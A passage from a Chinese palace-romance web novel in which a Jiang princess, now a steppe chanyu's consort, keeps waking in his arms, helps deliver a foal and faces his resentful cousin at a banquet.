她不知何时滚到了这处。
******
草原上流传着一个著名故事,《黑豆公主》。
故事说,从前有个王子,想娶公主为妻。很多女孩便冒充公主,妄图当王妃。王子的辨别方式是在床垫下放一粒黑豆,只有娇养长大的真公主,会因一颗黑豆硌得失眠,甚至因皮肤过于娇嫩而浑身青紫。
穆凝姝听一起做事的女奴们讲过好几次。
每次听,她都忍不住骄傲,她就没这些破毛病。
别说床下放颗黑豆,哪怕直接在床上铺满核桃,她都能睡得死沉。
很不幸,今晚过后,她再也无法为自己优良的睡眠质量沾沾自喜。
穆凝姝努力回忆探究,除了得出“因王帐太舒服而睡得特沉”这一结论,其他通通不记得。
她快速收拾一番,逃离寝帐。
出门时,听到门口侍女窃语嘲笑。说是赫连煊一大早天没亮就出了毡帐,脸色不佳。昨夜整一晚帐中都没叫过水,可见那中原公主不会伺候,不得单于喜欢。
叫水这事,穆凝姝知道其意味。
从前老单于还在时,常叫雅曼侍奉,一晚上要叫好多次水。有次轮到她的朋友乌琪值夜送水,乌琪生病了,她还帮忙送过。
当时寝帐中的动静……总之,肯定不是赫连煊和她昨夜那样。
侍女们的闲话,有理有据。
穆凝姝抬脚朝马场走去,她住处在那边。
昨夜安排她侍寝,属于外宾作弊。现在外宾待遇结束,生活回归日常。识时务为保命秘籍第一条,她懂。
穆凝姝才到马场,乌琪急切冲来,拉着她朝一马厩去。边跑边要她救急:“银霜难产,熬了整夜到现在都没生下来。你来得正好,赶紧过去看看。”
乌琪口中的银霜是匹纯白色母马,怀孕已久,昨夜忽然早产。接生是技术活儿,需要巧劲和经验,碰上难产,就得厉害的老师傅上。偏巧老师傅腰扭了,下不来床。再堵下去,银霜和小马驹都活不了。
穆凝姝赶紧过去帮忙,半个时辰后终于卸下小马驹,银霜也得以存活。
安置好母子两马后,她和乌琪走出马厩,坐到一处向阳小土坡上吹风晒太阳,去去腥气。
乌琪这才想起恭喜她昨日中选,高兴道:“雅曼打压欺负咱们,如今恩宠到头,大快人心。你时来运转,我还以为你不会再回这边——”说完,她察觉不对劲,“对哦,你都侍寝了,怎么还回马场?”
“此事说来话长……”穆凝姝打个哈哈掩饰尴尬,随手捡根小木枝在地上乱画,
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告诉乌琪昨夜之事。
乌琪听完连连叹息,痛心道:“多么好的机会,真真是可惜。凝姝,你不中用啊。都脱成那样了,你直接扑上去,把大单于按着亲,绵软身子贴上他,我就不信他把持得住。”
她盯着穆凝姝的脸几秒,再次确定:“就你这张脸,正常男人都把持不住。”
穆凝姝被乌琪这番生动描述震住。草原风情果然奔放。她秉烛学得辛辛苦苦,丝毫比不得人家土著天赋异禀。
她想想画面,抖了抖,道:“你别害我。大单于那体格,我敢扑上去……唔,你是不是没见过他砍人?我见过,我还见过他徒手撕人。”
穆凝姝“咔嚓”一声掰断手里的小木枝,示范给乌琪看:“像这样,人往膝盖上一顶,拦腰变两半。我要是敢扑,没等我碰到他,我就得成这样。”
乌琪恨铁不成钢,拳头砸大腿,豪气冲云霄:“要想得富贵,就要有勇气顶住风险。你缺乏冒险精神。换作我,干就干!死就死!”
穆凝姝连连摆手,不敢苟同乌琪的磅礴壮志,她真的还想再活五百年:“别别别……我胆小。不求富贵,但求命长。什么时候轮到你侍寝,我等着看你表演。”
乌琪同她一样,曾为老单于的阏氏,现在一并被赫连煊收继。两人难姐难妹,都不受宠,沦落到马场为奴。她随遇而安,得过且过。乌琪性子比她活泼,志气也高远得多。
“那我一定比你强。”乌琪掏出兜里的牛乳条给她吃,安慰她,“事已至此,也没什么大不了,无非被人嘲笑几句。咱们姐妹之后还在马场作伴,也挺好。唉呀,今天这牛乳条好干巴好难嚼……”
穆凝姝尝下:“真的耶……但是不好嚼可以用嗦的。你这个哪里来的?不够甜,你买亏了……”
两人正探究牛乳条到底是嚼着吃好还是嗦着吃好,忽然听到札木尔的声音。
“凝姝阏氏原是这儿,可让我好找。”
他朝土坡走来,身后跟着一溜嬷嬷和侍女。
札木尔带来一道大单于赐居的旨令。
在草原部落,所有妃嫔一概称阏氏。正宫皇后称大阏氏或赫连阏氏。其他人,受宠则带个名字,如雅曼阏氏。不受宠则为小阏氏,或直呼其名。
不像中原后宫那般,贵妃、妃、嫔、美人等,层层分明。
因此,分辨一个阏氏受不受宠,得看住处和待遇。
赫连煊赐居的新毡帐,曾为雅曼寝帐。
前任宠妃所居,离单于寝帐很近。
札木尔宣旨恭贺一番便先行离去。他是赫连煊近臣,事务繁忙。余下琐事由他带来的下人们接手。
嬷嬷引穆凝姝搬去新毡帐。一行人走至门前,遇到早上在王帐门口八卦的那波侍女。这会儿,个个手中拿着东西,说是奉单于之命前来送赏赐。
侍女们进毡帐归置赏赐,偷瞄穆凝姝,又忍不住窃窃私语——早上大单于出毡帐时,脸色疲倦,眼底青黑,看来昨夜不叫水,纯粹是因为太忙没时间叫嘛!明明很喜欢!
穆凝姝正在喝水,差点一口茶喷出来,连咳好几声才压下去。
好家伙,从早上到现在,满打满算,两个时辰。
她什么都没做,流言自转风向。
5. 第 5 章
转眼夜幕来临。
穆凝姝再度走进大单于寝帐时,她对那位传说中的负责安排侍寝妃嫔的嬷嬷,好奇心达到顶点。
她疑惑,为何会连续两晚安排她侍寝。她羡慕,在后宫当嬷嬷安排侍寝,工钱来得比她在马场当苦力容易太多。
赫连煊坐在桌案后批折子,听到脚步声,抬眸看一眼,对她的到来并无惊讶。
他手中笔走龙蛇,说话却慢条斯理:“临时有军情急奏。公主稍后。”
穆凝姝忙道:“不急不急。”
缓缓,她动心思,试探道:“单于政务繁忙,今夜恐怕不便相扰,要不我先行告退?”
话一出口,便见赫连煊眉眼以肉眼可见的速度变得凛冽。
他朱笔停顿,冷声道:“孤只是让你稍候片刻,都不行?公主是觉着,孤很好说话?”
穆凝姝没料到赫连煊翻脸速度如此惊人,对帝王的阴晴不定有了进一步认知。
这类人的可怕之处在于,发癫毫无征兆。
刚才他无论是表情还是语气,都很正常很温和,谁能知道她一句“先行告辞”触碰到了他哪根敏感神经。
她想起他回首冷箭射老爹的壮举……征兆,不存在的。
过往人生经验告诉她,见风使舵一定要快,要诚恳。
她立即取来旁边的奶茶壶,倒上一杯送到赫连煊身旁,使出这辈子最温柔的声音:“当然不是。我、我只是怕叨扰到您勤政爱民。能侍奉您,是本公主的荣幸。”
她感觉手中奶茶微烫,殷勤吹了两下:“应当不烫口了。来,单于,您熬夜辛苦,喝奶茶。”
赫连煊这才缓和神色,接过奶茶饮尽,再度批奏折。
穆凝姝挪到桌旁,给自己也倒上一杯,坐下捧着杯子慢慢喝,显得比较有事做。
奏折批完,下人们送热水进来,赫连煊去侧间屏风后沐浴。
他不在,帐中气氛瞬间放松下来。
穆凝姝深深呼口气,将手里几乎没少的奶茶放下。
托腥咸难喝的奶茶刺激,忽然间她灵光一现,想通了为何自己接连侍寝。
赫连煊夺得王位,不容易,深夜还在加班批奏折,足可见他满心满眼皆是王权富贵。
登位初期,政局不稳,人心惶惶。他必定想以最快速度来安抚民众。
类比在生活中,如果你想让大家觉得你是个好人,你对自家人和上位者好,示范效果有限。但若你对一群人里最卑微的那个人好,其他人看到,必定认为你温和良善,跟着你有便宜占。
赫连煊惯会演戏,精于算计,想来就是打的这个算盘。
试想,连一个被传与马奴有染过的外族和亲公主,他都能善待,更何况其他部落女子和外臣。
大家自然知晓,此位新君心怀宽厚。
人精为何是人精?同样的事,人家就是能用最小成本,达到最大收益。
既然他是这个做戏打算,仅宠幸她一夜,远远不够,必得持续几天,充分展示态度。
她方才要求出去,差点打乱他计划,难怪他不高兴。
恰好赫连煊洗漱完出来,穿着睡袍,不似昨夜那般粗野。
穆凝姝越发笃定方才推断没错。
昨晚初次安排阏氏过来,他事务繁忙,大概是忘了这等小事,才赤着上身。今夜有所准备,他便穿了衣裳。
她不禁对他生出点佩服来,处处一百八十个心眼子精密计算,都不嫌累。
同时,她对能看破帝王心思的自己,生出更多佩服来,她的成长速度惊人。
两人躺到床上,依旧是昨夜格局。
偌大一张床,他在里,她在外,中间能放下一片草原。
收到今晚继续侍寝的消息时,她充分考虑昨夜情况,一顿细致分析后,决定放弃“热烈奔放”路线——跟任何一个敕加女子比,她在这条路上都没天赋,没奔头。
她的人设应为“娇气但懂事的中原和亲公主”。
娇气,是为了落实公主身份。赫连煊城府深疑心重,不好好装容易暴露。
懂事,则是为了活着。凡事都得有个限度,娇气过头触怒这黑心单于,小命休矣。
明晰指导思想后,穆凝姝心绪安定。
她余光瞟向赫连煊,暗中观察。或许是因他今夜穿了衣裳,对她的抵触不如昨天那般强烈,没有背对她而眠。
他平躺着,双目闭合。侧脸线条起伏深刻,让她想起和亲路上遥遥可见的连绵山脉。
见他没盖被子,她爬起来,拿过一床厚绒毯给他盖上。
赫连煊睁眼,看向她,没有阻止她的侍奉。
穆凝姝观察他眼中未有反感,动作麻利,将他被角掖得严严实实,嗓音清正道:“帐中燃有炭火,窗户得开着透气,单于当心风寒。”
娇美面容一派正经,眼眸一片清明,整个人浑身正气,毫无此情此景下一个女子该有的羞涩与勾引。
语毕,她扯过一床厚绒毯,将自己裹成只蚕蛹,比他还严实。
穆凝姝躺下合眼,对自己此番恰到好处的卖乖极为满意。
今早睡到赫连煊那侧的事,她耿耿于怀一整天,特意问过乌琪自己睡相如何,乌琪再三担保这辈子没见过她这般好睡相的人。
她亦是有此自信。
只要在后宫,就有可能被皇帝看上宠幸,因此姜国宫女在入宫初期,都会专门训练睡姿。
她在这项训练上,曾被嬷嬷列为典范。
况且,无论是在姜国还是在草原,她一直睡大通铺,若睡相不好,肯定会被同铺投诉。
是以今早“鸠占鹊巢”之事,相当于一个优等生,在最不该犯错的地方犯了最低级的错误,令她很在意。
她本想问问赫连煊,确认下,但既然他没主动提,或许她是在他离开后才胡乱翻滚。
当然,这一切都是她的乐观推测和自信。睡着后的事到底如何,她无法保证。
她这会儿先向赫连煊卖个乖,并且用最清澈正气的眼神和肢体语言表明自己绝无勾引之心。
假如夜里真有什么不恰当的举动,他必能明白她绝非蓄意扰人——他那么聪明。
穆凝姝从前不觉自己思虑周密,这两天侍奉赫连煊下来,深觉人是环境的产物,陪在腹黑帝王身侧,她进步飞快。
今夜她准备充分,还将自己裹成这样,应当不会犯错。
于是,心定神闲,放松入睡。
擅长狩猎和刺杀的人,对活物气息极为敏锐。赫连煊在此二项上,都是高手。
穆凝姝气息均匀,显然已沉沉入睡。
他扯开身上的厚绒毯,侧起身,一手撑头,看向她。
好好一个美人,将自
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己裹成条长虫,密不透风。
草原男子睡觉不习惯穿衣裳,昨夜见她受惊,他今晚才披上睡袍。
她却越发防备,裹自己不够,还要裹他。
他有那么孟浪吗?
昨夜她近在咫尺,他甚至没碰过她。
他指尖在床铺上轻轻敲打,注视她的睡颜。
她仰面朝上,双手交叠于腹,睡姿板正,一动不动。
昨晚她亦是如此。
姜国公主的教养竟能森严成这样,连睡后都不放过。
她生得一副好容貌,规矩又习得这样好,睡着后也是个无可挑剔睡美人。
乖巧,静谧,安详。
但他不喜欢。
他伸出手,轻轻掀开她捂严实的被角。
脖颈处灌风。
睡姿板正的姑娘眉间微蹙,不再安稳,朝热源处缓缓挪动。
直到,抵靠在他怀中。
******
松枝清香,被窝温暖,穆凝姝这夜睡得极好。
……不对。
为何会有松枝香?还暖烘烘的?
她顿时清醒,睁开眼。
茶褐色卷发映入眼帘,同属于她的黑发夹杂交缠。她整个人窝在赫连煊怀中,手中还紧紧攥着人家衣襟。
睡袍松垮,在她的拉扯下,露出大片胸膛,堪堪还挂在他身上。
眼前这情形,她不是很能接受。
应当是做梦。
所谓“日有所思,夜有所梦”,她过于害怕犯错,才越是会梦到这种犯错。
穆凝姝闭上眼,深呼吸一口,再度睁眼。
一切都没变。
赫连煊被怀中人的动静弄得半醒,哑声道:“醒了?”朝窗外瞥一眼,闭上眼,“天色还早,再睡会儿。”
搂在她腰间的手,收紧了些,动作极为自然。
他声音沙哑低沉,听到她耳中却仿佛最响亮的炸雷,惊得她一个仰卧起坐蹦到远处。
她呆呆坐定,脸上全是迷茫,努力转动脑子分析:
赫连煊靠墙睡着,位置没变,她在他怀中,还攥着人家衣裳。
铁证如山,人证在场。
横看竖看,结论都只能有一个——她主动投怀送抱。
赫连煊被她的动若狡兔彻底弄醒。
穆凝姝呆愣愣盯着他看,准备迎接他的起床气。他却只是慢悠悠捏着鼻梁醒神,并未见发火征兆。
她稳住心神,面上作沉着状:“这个事情,我可以解释。”
“你说。”赫连煊瞧着有趣。她前一刻明明还仓皇无措,这会儿看上去倒又摆出了公主的稳重架势。
穆凝姝正色道:“首先,我可以保证,我绝非孟浪之人,绝不会对您见色起意。”
赫连煊动作顿住,继而语气缓缓,望着她:“你觉得孤有姿色?”
穆凝姝脸上的正色,裂开。
此刻,赫连煊侧身躺着,单手撑头,其实是个挺悠闲寻常的姿势。
他身材高大,悠闲中又透露出些许霸气狷狂。
照理说,不该跟“姿色”二字挂钩。
但是他着实生得俊美,褐发披散,衣襟缭乱。
她刚睡醒,脑中混沌,一时情急下脱口而出。
现下这情形,仿佛此地无银三百两,越发凸显她心怀不轨。
6. 第 6 章
赫连煊这个问题,不好回答。
说他没姿色,当面骂人丑,无异于找死。
说他有姿色,人家是帝王,掌管生杀予夺,跟点评街边伶人一样去点评他的姿容,实乃轻薄亵渎。
看他眼眸微狭,微微带笑的狐狸样,穆凝姝越发觉得此君不好应付。
上一个消受他微笑的人是老单于赫连天雄,尸骨被秃鹫吃得一点渣渣都没剩。
穆凝姝假装没听到此问,改问道:“单于,你有没有听过一个故事,黑豆公主?”
为何她忽然改变话头提出这一问,赫连煊不明就里,但答道:“小时候似乎听过,不太记得。”
穆凝姝见他肯搭话,立即道:“这么有名的草原名著怎能不记得呢,我给您讲讲。”
赫连煊未提出拒绝,便见她清下嗓子,讲起来。
她是姜国人,嫁来草原后才学说敕加语。敕加语和中原汉话相去甚远,很难学。短短三年,她能掌握,已属难得。但涉及讲故事时,词句不同于日常,难免生疏。
她一字一句地说,语气慢吞吞,透出点儿认真的笨拙,显露出这个年纪该有的活泼与生动。
这在她身上不常见。
他颇有耐心。
讲完故事,穆凝姝再度摆出稳重脸,引出自己真正想说的话:“其实我们中原也有类似故事,可见天底下的公主,无论是草原的还是姜国的,都是从小娇生惯养。您见多识广,应当知道公主们睡觉,多少带点儿娇气的小毛病。”
赫连煊并不明白,为何他要见多识广到知晓公主们睡觉时的娇气毛病。
但他好奇她还要说什么,便不打断:“所以?”
穆凝姝道:“所以,您上回也说过,姜国女子在锦绣堆里长大,是以我比草原姑娘更娇气点儿,也不难理解。今天这事儿是因我夜里认床,睡得不太稳当,并没有投怀送抱的意思。”
她拢住被子,正正脸色:“我是个正经人。”
见赫连煊神情未有变化,她便继续道:“我解释这么多,就是想说……这种不可控的错误,跟我从小到大的养成环境有关。”
绕了一圈,穆凝姝不仅替自己圆回来,还强调了“娇气”这一点以落实真公主身份,她在心里默默为自己的急中生智骄傲叉腰。
见他静默不语,穆凝姝紧张,追加卖乖:“但是,娇气始终不是个好习惯。我会努力克服。今日且求您原谅。”
赫连煊:“行。”
作为始作俑者,他着实佩服她背黑锅而自洽的能力。
侍女们进来,他起身梳洗,坐到铜镜前绾发,镜中恰好显露出床榻上的情景。
只见她黑发如瀑,微微凌乱,正以极轻的动静在床榻边缘那处翻找,好似真心怀疑床榻下存在罪魁祸首黑豆。
让他想起小时候养过的幼兽。
幼兽刚到一处新环境,探索巢穴时,就同她现在一样。
******
穆凝姝是个行动派。
有毛病,就要克服。
第三夜,她在二人中间放上数层厚绒毯阻挡。不料,次日人却依然出现在赫连煊怀里。她望着那一堆乱糟糟的绒毯,无法理解自己睡梦中的翻山越岭。
第四个早上,她醒来时,惊觉同他的交缠姿势,竟已肆无忌惮到了可怕的程度。
两人间的距离,越克服,越近。
作为一个睡姿优等宫女,接连在最擅长的科目上受挫,困惑和失望如潮水般向她涌来。
她决定去马场,找乌琪商讨下。
两人蹲在小土坡上嗦牛乳条。
上回救下的小马驹看到穆凝姝,屁颠屁颠跑来,拿小脑袋顶她,蹭到她怀里缩着,活像只小狗。
她一手搂住小马狗,一手捡根木棒,画图讲解自己这些天的失误,颇为颓废。
乌琪看下她的脸色,道:“但我看你气色挺好啊,比从前好。唔,就是表情难看了些。”
穆凝姝回想下,这几晚她确实睡得挺好。
从前她睡得沉,但时不时会做噩梦,近来连梦都不做,一夜睡到天明。
穆凝姝:“但就因为睡得太好,才更难察觉到底是怎么回事。”
乌琪进一步询问过细节,分析道:“依我看,你这个表现,不稀奇。在动物界,我们称之为‘发情’。举个例子,你看那边。”
不远处,白马银霜在吃草料,黑马绝影绕着她,一圈又一圈地蹭蹭,咧着个马嘴吐舌头,大献殷勤,可爱中微微透出股猥琐。
乌琪继续道:“作为人,我们称之为‘思春’。”然后,得出结论:“现在是二月初,春天快到了,所以你在思春。”
穆凝姝口里的牛乳条折断,差点咬到舌头:“不、不可能吧。还有,思春应该不是这么用的,跟春天也没有关系。”
乌琪笃定道:“很有可能啊。根据你所言,你觉着大单于香香的,很好闻,还总往他怀里凑,这说明你喜欢他。我们草原上有句谚语,‘鼻子会帮你找到合适的爱人’。闻味道很灵的,动物们都是这么找伴侣。”
穆凝姝:“……有没有可能,我不是动物,而草原谚语也不太适合我这中原人情况?”
乌琪道:“那我就不知道了。我一直照顾动物,没侍奉过人。万物有灵,人为万灵之首,大概都差不多吧。”
夜里,再度与赫连煊四目相对时,穆凝姝脑中浮现出乌琪的话,目光不觉停留于搭在床尾的睡袍上。
这种睡袍赫连煊有好几件。
松枝香气来自兽金炭。
此炭金贵,只有大单于帐中用。他的衣裳以此烘烤过,故沾有香气。
赫连煊注意到她的目光:“公主对孤的睡袍有何见解?”
摒弃掉思春部分,乌琪的话也有可取之处。
穆凝姝取其精华,肃然道:“今日我分析了一下,或许是因为我很喜欢睡袍上的松枝香,夜里才有所逾越。我斗胆一问,大单于可否赠与我一件,我拿来罩在脑门儿上,说不定毛病就好了。”
赫连煊顿了两秒,挑眉道:“那孤也斗胆一问,公主可否将贴身小衣赠与孤一件,孤拿来罩在脑门儿上,说不定夜里也会睡得格外好。”
穆凝姝捂住衣襟,朝后挪了几步:“这……是否略猥琐?”
赫连煊躺下,乜她一眼:“你也知道猥琐?堂堂公主,跟一个男人讨要里衣,不遑多让。”
末了,他补上一句:“登徒子。”
穆凝姝:“……”
行叭。
根据目前客观情形,她是。
******
二月中旬时,一队绵长人马抵达赫连部。队伍中间最宽阔的马车,以彩带装饰,华丽鲜艳。
一少女从马车中跳下,在前呼后拥中朝王庭毡帐走去
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,蜜柑色裙裳在一众人里格外亮眼。她望见赫连煊,朝他跑去,笑意盈盈,态度亲昵。
穆凝姝的阏氏毡帐离得不远,且方向角度恰好能看到他们。
乌琪同她在门口太阳,瞧着那边,问道:“这姑娘你可认识?”
穆凝姝点下头,道:“赫连煊的表妹,耶律玛茹。”
乌琪拿过她手里的瓜子,磕得嘎吱响:“看来你知道得不够多,难怪还有闲心嗑瓜子。”
她常年混迹于各大八卦圈,跟谁都能聊上几句,消息灵通:“赫连煊母亲姓耶律,玛茹是他亲舅舅的女儿。听说赫连煊母亲身体不好,舅舅舅母对他照顾颇多。玛茹从小同他一起长大,关系很亲近。赫连煊出去当质子没多久,玛茹便也离开了赫连部。”
她压低声音:“后来赫连煊那个事儿……耶律部也出了力。你知道,那种事,不成就是个死。现在局面稳定了,赫连煊才将这位表妹接过来,他对玛茹挺有心的。”
穆凝姝认同:“确实。安排得挺好。”毕竟是能成功造反的人,心思必须细致。
乌琪呸瓜子皮,没好气道:“好什么好。咱们看过的那些话本子里,没有一个表妹是省油的灯。尤其是这种……你们中原好像有个词专门形容——”
穆凝姝接话:“青梅竹马?”
乌琪:“对。我的意思是,你得防备些。你虽然比她漂亮,还独具中原风情,但玛茹也算娇俏。况且人家兄妹多年,感情深厚,这方面你差点儿积累。说起这个,你同大单于最近情况怎么样?似乎没听说他召幸旁人。”
穆凝姝回想下,道:“还行吧。他骂我是登徒子来着,却也没罚我。我心里过意不去,真诚建议过他,可以把我弄醒或拽开。但他没这么做,给我留了点面子。”
乌琪愣了下:“登徒子?他怎么能这么说你!等等,你的意思是,你们到现在还没圆房?”
穆凝姝自然而然:“当然没。”又想到点什么,压低声音问道:“你消息灵通,有没有听说过他有什么隐疾?若是有,我得注意点儿,别刺激到他。”
“我倒希望他有。”乌琪满脸难受,“可是,据说他从前挺风流的,也会去歌舞酒肆玩儿。只是寻常贵族男子都这样,他的风流仅属于常规水平,所以不够有名。赫连涛在这方面遥遥领先。”
穆凝姝明了:“那应该只是单纯对我没兴趣。”
这么看来,他人还怪好的。或者说,非常有大局观。想想造反前他温良恭俭让的好形象,他挺能忍,不难理解。
乌琪听她声音如常,不带任何焦急,分析敦促道:“如今你内里情况不容乐观,外面又冒出个青梅表妹来,很危险。玛茹一旦得势,说不定就会变成下一个雅曼,你得加把劲。”
两人谈话间,有侍女从王帐过来,笑道:“请凝姝阏氏安。今日王帐中设宴,大单于命我请您过去用膳。”
穆凝姝随之前往,还未入帐就听到少女的欢声笑语。
她一进去,玛茹看清来人,笑声顿时停下。
赫连煊朝她招手:“过来。”
示意她坐到他身旁侧位。
赫连煊朝她简单介绍:“孤的舅舅,舅母。这是玛茹,孤的表妹。”
穆凝姝虽觉这种家宴,他叫她来,挺莫名其妙,但都一一礼貌问候。
玛茹盯着她看,忽然绽出个笑来:“这位姐姐,我见过。”
7. 第 7 章
跟玛茹的交集,得从两年前说起。
那时,涂丹部刚灭亡,穆凝姝同其他涂丹阏氏们被押送到赫连部。她身无长物,只抱来只刚满月的小狗,是她在涂丹时就养着的。
因有雅曼打压,她被放到马场做事,初来乍到,处境很艰难。马场的牧犬都属于官家,她身为奴仆,连养只狗的资格都没有,便将小狗藏在偏僻处的灌木丛中,偷空去喂养下。
一天夜里,她照旧偷摸去喂狗时,竟意外看到赫连煊。
他拳砸树干,手背血淋淋也不见停,仿佛没有痛觉,明摆着心情不好。
她不久前才亲眼见过赫连煊的杀戮风采,不敢触霉头。
灌木丛茂盛,将她跟小狗遮住了,他看不到。她打算先静默呆着,等他离开后再走。
不成想,平日里乖巧安静的小狗竟连饭都不吃,撒腿就往赫连煊那处跑,嘤嘤嘤直叫唤。
跑到人家跟前,熟练地翘起屁股求摸。
赫连煊死死盯着它,半晌没动。
她心中惊呼失算,谁能料到干饭狗还能有这一出,却只能讪讪出现,替小狗说好话,求太子宽宥。
后来倒也没什么大事发生。
赫连煊一言不发,蹲下撸狗撸了大半宿。
她也不知道事情怎么会发展成这样,或许是小狗太有疗愈作用。
它屁屁软乎乎,摸过的都说好。现在,认证人群里又多了位重量级太子殿下。
赫连煊手背鲜血淋漓,刚好她带着手帕,就顺手给他包扎了下。她会点儿基础医术,在马场做事后,经常要照顾动物,包扎信手拈来。
临走前,赫连煊打算给她赏钱,身上却没带金银。草原男子有单耳佩戴耳坠的习惯,他随手摘下只耳坠子,给她当赏。
本来这事很寻常,下人碰到主子,恰巧让主子高兴,从而得赏罢了。
坏就坏在,玛茹跟着赫连煊来了,将一切看了个全。赫连煊前脚才走,她后脚出现。
玛茹一把捏住小狗脖子,对穆凝姝恶言谩骂。说她拿这些个小东西装可怜勾引男人,心思奇络。这么会惺惺作态,她该去讨好她的单于夫君,而不是太子。还骂姜国蠕蠕当真好教养,身为阏氏庶母,深更半夜私会儿子,赫连煊不是她配攀上的,她倒真敢爬云云。
玛茹骂了许多,句句难听至极。有些敕加话,穆凝姝甚至听不懂。她不明白,眼前这个年仅十四五岁的少女,哪里学来那么多不堪入耳的谩骂,又何必在看清一切的前提下,还信口胡诌得理直气壮。
小狗被玛茹扔到地上摔得惨叫,赫连煊那只耳坠也被抢走。
在那之后,玛茹时不时就跑来找她麻烦。马场的下人们收其钱听其指派,也跟着为难她。
赫连煊常在外奔忙,后来偶尔来找过她几次。她远远看到他时,打个招呼就走,避而不见,礼貌而疏离。
阎王好见,小鬼难缠。耶律家金枝玉叶的刁蛮郡主,她惹不起。
况且,一旦她和当朝太子传出任何难听的话来,不管事实如何,背锅的只会是她。
主子们不会有错。
这个道理,她在姜国王宫时就明白。
******
那晚过后不久,赫连煊去了其他部落当质子,玛茹旋即也离开了赫连部。
时隔多年,若非再次见到这位玛茹表妹,穆凝姝还记不起这段往事。
不愉快的东西,没必要放在心里时时回味。
玛茹笑起来时,嘴角凹陷出两个深深的梨涡。若非有先前那事,穆凝姝只会当她是个甜美小姑娘。
对于玛茹说的“见过”,穆凝姝回之一笑,礼貌而端正,不去接话。
玛茹见她不应,又朝赫连煊道:“真的见过。那会儿表哥和我还都在赫连部。我记得,去马场时碰到过,她是马场女奴。姜国……人的脸,见过就忘不了。”
穆凝姝知道,玛茹其实想说姜国蠕蠕。蠕蠕是敕加语脏话,骂别人是恶心脏臭蠕虫。她印象深刻。
两年过去,玛茹还是那个玛茹,和回忆里一样讨厌。
这是赫连煊的家宴,她自然不好说些什么。况且,她的确是马场女奴。
赫连煊敛了笑意:“她是姜国公主。赫连部里的姜国人不止她一个。玛茹,你记错了。”
他声音不大,话语也简单,却透出股冷峻。
玛茹见此,瞥穆凝姝一眼,笑着转圜道:“或许是吧。表哥说是就是。来,姜国公主,我敬你一杯,以后可要你这公主多多照拂下我这位新公主。”
赫连煊夺得王位,舅舅有从龙之功,玛茹也鸡犬升天,从郡主升成了公主。
“玛茹公主客气。”
穆凝姝含笑举杯,姿态优美,礼节周到。
表面功夫,逢场作戏,彼此心照不宣。
在座除了玛茹一家,还有些其他贵族在场。短暂冷场后,大家七嘴八舌聊天,帐中再度热闹起来。
穆凝姝不认识这些人,亦没打算插话。
她低头,专心致志跟盘子里的炙牛肉做斗争。
之前为奴,吃不上大到需要切割的肉块。给赫连煊当阏氏后,她每日的饮食里都安排有中原菜色。
优待之下,也用不上刀叉,日常还是用勺子和筷子居多。
因此,她在切肉这件事上免不得有些笨拙。
忽然,她被人从后边圈住。
赫连煊双手拢在她手上,带着她切割,热量透过衣物传到她背上。
她闻到点儿极淡熟悉的松枝清香,若有若无。帐中人多,还有各种食物味道混合,只有这样近的距离,才勉强闻得到。
一阵如芒眼神朝她刺来。
她抬眼回看。
玛茹嘴唇紧闭,将小刀在手里转了几圈,落刀精准,牛肉很快变成均匀的薄片,整整齐齐码在盘子里,看向她的眼神中,蔑视与恨意交杂。
仿佛切的不是牛肉,是她。
她眼神左右来回一圈,发觉不止玛茹在看,其他宾客也状似无意,实则朝王座这边瞟个不停,顿感压力。
虽说草原在礼教和男女之防上都远不如中原严谨,但大宴之上,赫连煊这个举动,依旧不太妥当。
关键是,有种不顾她死活的肆意恣睢。
作为大单于,赫连煊当然没什么顾忌。可他时不时会离开王庭处理军务,她却离不开。
耶律氏全家受封,玛茹地位更上一层楼。作为姜国吉祥物,同这位与他情谊深厚的表小姐掰腕子,她自觉没这分量。
“不敢有劳单于。”穆凝姝侧过脸,低声说话,切下几块展示,“你看。我会切的。”
赫连煊对她切出的牛肉条表示看不上。
她耐心讲道理,试图继续证明自己可以:“不管是肉条还是肉片,能吃就行呀。我学东西很快的。你看着,我再切一份……”
这场面落旁人眼中,却是另一番趣味。
在座宾客皆是追随赫连煊的新贵,平日里对这位主子的冷冽杀伐见惯司空,却没机会看他跟女人纠缠。眼下竟意外得此机会目睹其风流一面,岂有不看之理。
尤其是后排女眷们,看得兴致勃勃。
距离太远,听不到上头人说话。但光看举止,也能吃个饱。
大单于跟新
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宠阏氏举止亲昵,这中原公主在他怀里挺不安分,动来动去,竟要单于亲自替她切肉,撒娇功力一流。下边儿的玛茹公主脸色则更精彩,只差咬碎一口银牙。
一女眷满脸看好戏:“玛茹一路上表哥表哥叫个没完,生怕别人不知道,还对我们颐指气使。可惜这表哥,显然没把她这妹妹当回事儿。解气。宠坏的小姑娘,大单于才不会喜欢。”
另一女眷则不然:“怎么说她也是咱们草原的自家人。你何必为了点儿小过节灭自家威风。依我看,单于对这中原公主也就是一时新鲜。论可爱率真,还得数敕加女子。不信咱们走着瞧。前些年玛茹还小,现在年岁够了,被收入房中是迟早的事儿。”
又有旁人听到,加入讨论。大家各自站队争论,帐中欢乐热闹,今天这宴席吃得过瘾。
******
比起赫连天雄在位那会儿,穆凝姝如今的生活品质称得上飞升成仙。吃喝穿用住,皆是极好。跟从前比,云泥之别,难怪雅曼对得宠看得那样重。
除去夜里得去单于毡帐侍奉,赫连煊对她并无其他要求。她白天没事做,便跟从前一样,常去马场转转,看看有没有能帮忙的地方。
马场很多人不愿意干接生的累活儿,她跟着老师傅学习此门手艺,两年下来,在兽医这块进步神速。
她喜欢照顾动物们。
动物简单,纯粹。相处起来比人容易。
宴席过半,穆凝姝先行告退。她和乌琪约好时间,要给银霜和小马驹检查身体。
宴席后期都是男人们喝酒比划,女眷们无聊得很。赫连煊知晓,并不留她。
马场空气新鲜,比帐中舒服得多。她带银霜和小马驹出来散步,走累了,坐在堆着干草的地上休息,银霜趴她身后充当靠山肉垫。
乌琪道:“你不该离席。你一走,将大单于留给玛茹,正合她心意。”
穆凝姝眺望远处,心态悠然:“帐中太闷,我出来透透气儿。再说,我不觉得我跟玛茹是同一条赛道。我之前失宠,跟我是姜国人遭排斥有关,如今得宠,还是因我这公主身份,跟我个人关系不大。其实玛茹不用在意我。我躲出来,她可以尽情跟她表哥叙旧。但愿她聊得开心,放我一马。我安生日子还没过够。”
乌琪呵呵一声打断她,朝她身后方向抬抬下巴:“恐怕事与愿违。公主大人,朝后瞧。”
遥遥可见,一个蜜桔色的姑娘,骑马向她奔来。
乌琪看热闹不嫌事大:“你方才的投降高论挺好。现在有何感想?”
穆凝姝痛惜叹气:“……赫连煊大表哥不中用啊,竟连个女人都留不住。”
乌琪:“……”
